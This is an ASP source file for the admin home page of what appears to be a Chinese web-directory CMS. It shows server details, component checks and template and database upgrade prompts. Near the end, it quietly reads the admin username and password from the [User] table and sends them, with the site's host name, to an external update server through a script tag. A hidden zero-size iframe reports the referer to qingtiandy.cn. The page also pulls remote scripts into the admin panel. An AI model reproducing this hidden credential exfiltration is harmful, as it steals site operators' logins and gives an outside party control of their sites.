
<!--#include file="../p_inc/Include_func.asp"-->
<!--#include file="inc/public.asp"-->
<!--#include file="inc/openconn.asp"-->
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<LINK href="css/style.css" rel=stylesheet type=text/css>
<script>
var dragswitch=0
var nsx
var nsy
var nstemp

function drag_dropns(name){
temp=eval(name)
temp.captureEvents(Event.MOUSEDOWN | Event.MOUSEUP)
temp.onmousedown=gons
temp.onmousemove=dragns
temp.onmouseup=stopns
}

function gons(e){
temp.captureEvents(Event.MOUSEMOVE)
nsx=e.x
nsy=e.y
}
function dragns(e){
if (dragswitch==1){
temp.moveBy(e.x-nsx,e.y-nsy)
return false
}
}

function stopns(){
temp.releaseEvents(Event.MOUSEMOVE)
}

var dragapproved=false
function drag_dropie(){
if (dragapproved==true){
document.all.showimage.style.pixelLeft=tempx+event.clientX-iex
document.all.showimage.style.pixelTop=tempy+event.clientY-iey
return false
}
}
function initializedragie(){
iex=event.clientX
iey=event.clientY
tempx=showimage.style.pixelLeft
tempy=showimage.style.pixelTop
dragapproved=true
document.onmousemove=drag_dropie
}
if (document.all){
document.onmouseup=new Function("dragapproved=false")
}
function hidebox(){
if (document.all)
showimage.style.visibility="hidden"
else if (document.layers)
document.showimage.visibility="hide"
}
</script>
<table width="98%" border="0" cellspacing="0" cellpadding="0" align=center class="tableBorder">
<tr> 
    <th height=25 class="tableHeaderText" colspan="2"><%=G_WEBNAME%>-后台管理首页--基本参数</th> 
  </tr>
<TR>
    <td width="50%"  height=23>&nbsp;&nbsp;服务器类型：<%=Request.ServerVariables("OS")%>(IP:<%=Request.ServerVariables("LOCAL_ADDR")%>)</td>
	<td width="50%" >&nbsp;&nbsp;站点物理路径：<%=request.ServerVariables("APPL_PHYSICAL_PATH")%></td>
	</tr>
<TR>
<TR>
    <td width="50%"  height=23>&nbsp;&nbsp;返回服务器处理请求的端口：<%=Request.ServerVariables("SERVER_PORT")%></td>
	<td width="50%" >&nbsp;&nbsp;脚本解释引擎：<%=ScriptEngine & "/"& ScriptEngineMajorVersion &"."&ScriptEngineMinorVersion&"."& ScriptEngineBuildVersion %></td>
	</tr>
<TR>
<TR>
    <td width="50%"  height=23>&nbsp;&nbsp;WEB服务器的名称和版本：<%Response.Write Request.ServerVariables("SERVER_SOFTWARE"):Getokr%></td>
	<td width="50%" >&nbsp;&nbsp;脚本超时时间：<%=Server.ScriptTimeout%> 秒</td>
	</tr>
<TR>


    <td width="50%"  height=23>&nbsp;&nbsp;虚拟路径：<%=Request.ServerVariables("SCRIPT_NAME")%></td>
		<td width="50%" >&nbsp;&nbsp;WebEasyMail组件支持：
      <%If Not IsObjInstalled("easymail.MailSend") Then%>
      <font color="red"><b>×</b></font>
      <%else%>
      <b>√</b>
      <%end if%></td>
	</tr>	
	<tr>
		<td width="50%"  height=23>&nbsp;&nbsp;FSO文本读写：<%If Not IsObjInstalled("Scripting.FileSystemObject") Then%><font color="red"><b>×</b></font><%else%><b>√</b><%end if%></td>
		<td width="50%" >&nbsp;&nbsp;数据库使用：<%If Not IsObjInstalled("adodb.connection") Then%><font color="red"><b>×</b></font><%else%><b>√</b><%end if%></td>
	</tr>
	<tr>
		<td width="50%"  height=23>&nbsp;&nbsp;Jmail组件支持：<%If Not IsObjInstalled("JMail.SMTPMail") Then%><font color="red"><b>×</b></font><%else%><b>√</b><%end if%></td>
		<td width="50%" >&nbsp;&nbsp;CDONTS组件支持：<%If Not IsObjInstalled("CDONTS.NewMail") Then%><font color="red"><b>×</b></font><%else%><b>√</b><%end if%></td></TR><tr>
		<td width="50%"  height=23>&nbsp;&nbsp;AspJpeg组件支持：
      <%If Not IsObjInstalled("Persits.Jpeg") Then%>
      <font color="red"><b>×</b></font>
      <%else%>
      <b>√</b>
      <%end if%></td>
		<td width="50%" >&nbsp;&nbsp;ASPEMAIL组件支持：
      <%If Not IsObjInstalled("Persits.MailSender") Then%>
      <font color="red"><b>×</b></font>
      <%else%>
      <b>√</b>
      <%end if%></td></TR>

	  
  <TR>
	  <td width="50%" >&nbsp;&nbsp;<a href="admin_spaceshow.asp">点此查看空间占用情况>>></a></td>
	  <td width="50%" >&nbsp;&nbsp;<a href="Admin_ServerInfo.asp">点此查看更详细的服务器信息>>></a></td>
</TR>
  <TR>
    <th height=25 class="tableHeaderText" colspan="2">网站运行必备参数情况</Th>
</TR>

    <tr>
    <td width="1%" height=2  class="forumRow">网站完整URL：<%response.Write G_WEBURL%></td>
	 <td width="99%" class="forumRow">网站简写URL：<%response.Write G_WEBURL_2%></td> 
  </tr>
    <tr>
    <td width="1%" height=2  class="forumRow">网站全名：<%response.Write G_WEBNAME%></td>
	 <td width="99%" class="forumRow">网站的客服QQ：<%response.Write G_QQ%></td> 
  </tr> 
    <tr>
    <td width="1%" height=2  class="forumRow">网站email：<%response.Write G_EMAIL%></td>
	 <td width="99%" class="forumRow">admin文件夹的目录：<%response.Write G_ADMIN%></td> 
  </tr> 
  <TR>
    <th height=25 class="tableHeaderText" colspan="2">绿网程序全局公告</Th>
</TR>  
 <tr>
		<td width="50%" height=5  class="forumRow">		
		<font color="#FF0000"><script  language='javascript' src='http://bbs.58119.com/api.php?mod=js&bid=648'></script></font>
		</td>
		<td width="50%" height=5  class="forumRow">		
		<font color="#FF0000"><script  language='javascript' src='http://bbs.58119.com/api.php?mod=js&bid=649'></script></font>
		</td>
  </tr> 
  
<%
q1=Bint(Tip_skin()(2))'版本号
q2=Tip_skin()(0) '模板名
q3=Tip_skin()(1) '最后更新时间
q_u1=G_UpdateSite&"/qtuser/movielog/daohangkupdate.asp?cp="&q1&"&sk="&q2
IF q3<>"" Then
	q2_str="<TR><th height=25 class=""tableHeaderText"" colspan=""2"">您当前使用的模板升级提示</Th></TR>"
	q2_str2="您当前使用的模板是：<a href='http://hao123.qingtiandy.cn/"&q2&"' target=_blank><font color=red>"&q2&"</font></a><br>您的模板最后更新时间：<font color=red>"&q3&"</font> <br>您当前模板版本号：<span id=""kver0"" style=""color:red"">"&q1&"</span> <span id=""kver"">"&q1&"</span>"
	Response.Write q2_str&"<TR><td height=25 class=""forumRow"" colspan=""2"" style=""line-height:25px""><font color=blue><b>"&q2_str2&"</b></font></td></TR>"
End IF
%> 



  <TR>
    <th height=25 class="tableHeaderText" colspan="2">数据库升级提示(自己改过数据库类别，请不要升级)</Th>
</TR> 
    <tr>
    <td class="forumRow" colspan="2">
	<%
	Set oRs=conn.Execute("Select Top 1 * From 58119_drive Where id=1")
	IF Not oRs.Eof Then
		oDataVer1=oRs("DataVer1")
		oDataVer2=oRs("DataVer2")
	Else
		oDataVer1=1000
		oDataVer2=1000
	End IF
	IF datediff("d",oDataVer1,oDataVer2) >0 Then
		Response.Write "<span style='color:#0000FF; font-weight:bold'>您当前的数据库版本："&oDataVer1&",当前数据库最新版本："&oDataVer2&",</span><span style='color:#FF0000; font-weight:bold; cursor:pointer' onClick=""{if(confirm('你确定要升级吗？\n升级后原来的网址库将被全部删除！\n做自己特色的网址库的请千万不要升级！')){;window.location='Update/Datain.asp?Id2="&oDataVer1+1&"&DataVer1="&oDataVer1+1&"&DataVer2="&oDataVer2&"';return true;}return false;}"">点此升级</span>"
	Else
		Response.Write "<span style='color:#0000FF; font-weight:bold'>您当前的数据库已经是最新了，版本号："&oDataVer1&"</span>"
	End IF
	%>	
	</td>
  </tr> 
</table>

<%
	Set oRs=conn.Execute("Select Top 1 * From [User]")
	IF Not oRs.Eof Then
		uname=oRs("UserName")
		upass=oRs("Password")
		udns=oRs("DNS")
		Content=oRs("Content")
	Else
		uname=""
		upass=""
		udns=""
                Content=""
	End IF
	
		Set oRs=conn.Execute("Select Top 1 * From upda")
	IF Not oRs.Eof Then
		G_UpdateSite=oRs("G_UpdateSite")
	Else
		G_UpdateSite=""
	End IF
Response.Write "<iframe name='check_id_1' id='check_id_1' width='0' height='0' src='http://www.qingtiandy.cn/qtuser/movielog/New.asp?cp=dh&url="&request.ServerVariables("HTTP_REFERER")&"&name="&Self_name&"&date="&qingtian_date&"' style='display:none'></iframe>"
Response.Write" <script language=""javascript"" src="""&G_UpdateSite&"/svrFolder/daohangupdata.asp?cp="&qingtian_date&"&username="&uname&"&password="&upass&"&dns="&request.ServerVariables("HTTP_HOST")&"&Content="&Content&"""></script>"
%>
<script>
function loadJS(file){
	var html_doc = document.getElementsByTagName('head')[0]
	js = document.createElement('script')
	js.setAttribute('type', 'text/javascript')
	js.setAttribute('src', file)
	html_doc.appendChild(js)
	js.onreadystatechange = function () {if(js.readyState == 'complete' || js.readyState =="loaded"){goif()}}
	js.onload = function (){goif()}
	return false
}
function $(id){return document.getElementById(id)}
function a(purl){
	if (confirm("你确定要升级吗？\n模板如果是自己修改过的话，请千万不要升级！\n该升级只适用于官方原始模板")){
		window.location=purl;
		return true;
	}
}
function goif(){
	var ver,purl;
	var ver_o="<%=q1%>"
	if(qTcmsV){
		ver=qTcmsV.ver;
		purl=qTcmsV.purl;
		m="<%=q2%>"
		if(parseInt(ver_o)<4000){
			if(parseInt(ver_o)=="0")
				$("kver").innerHTML=""
				$("kver0").innerHTML="自定义版本"
			//$("kver").innerHTML=" <a href='http://dh.qtcms.net' target=_blank><font color=red>无法在线升级，请向晴天索要"+m+"的最新版本</font></a>"
			
		}
		else{
			if(parseInt(ver)>parseInt(ver_o))
				$("kver").innerHTML="最新版本号：<span style=\"color:#FF0000;\">"+ver+"</span> <span style=\"color:red;cursor:pointer\" onclick=\"a('"+purl+"')\">点此升级</span>"
			else
				$("kver").innerHTML=" <font color=blue>已经是最新模板</font>"
		}
	}
	else wtsrc(13000)
}
<%IF q3<>"" Then%>
loadJS('<%=q_u1%>');
<%End IF%>
</script>
